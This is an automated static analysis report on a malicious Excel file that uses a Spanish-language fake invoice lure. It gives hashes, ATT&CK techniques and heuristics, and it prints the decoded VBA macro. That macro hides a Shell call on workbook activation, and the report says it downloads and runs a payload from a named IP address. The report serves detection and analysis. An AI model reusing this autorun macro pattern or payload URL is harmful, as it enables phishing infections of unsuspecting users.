Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c80b633aebd39a1…

MALICIOUS

Office (OLE)

49.0 KB Created: 2006-09-15 19:15:53 Authoring application: Microsoft Excel First seen: 2019-05-10
MD5: da225e81738e681b0e91f306c7cce2ab SHA-1: 3e2cf9545d71065631e9481050b026dd510450b8 SHA-256: 5c80b633aebd39a19d6a61e994d7d86715f9d3a3025e3f5cb5e858e7086ed885
230 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.001 PowerShell T1059.003 Windows Command Shell T1140 Deobfuscate/Decode Files or Information

The sample is an Excel document containing a fake invoice lure, instructing the user to 'Habilitar Contenido o Macros'. Upon enabling, VBA macros are executed which invoke 'cmd.exe' to run PowerShell. The PowerShell command is designed to download a file from 'http://108.61.219.228/im.jpg' and execute it, indicating a downloader or dropper functionality. The presence of the invoice content and the macro execution strongly suggests a phishing attempt.

Heuristics 8

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
    Shell UserForm1.TextBox1, vbHide
    End Sub
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://108.61.219.228/im.jpg In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1090 bytes
SHA-256: 9981b488c9d51c4a79572fb64c3f71e7022505f3e7cc009a7ed504f6f6f45b93
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Activate()
On Error Resume Next
Shell UserForm1.TextBox1, vbHide
End Sub


Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{98C617B3-021B-4C3B-80B7-537201F7EE7B}{586B0691-6112-46C6-83D0-A2E2BFDCA1BC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()

End Sub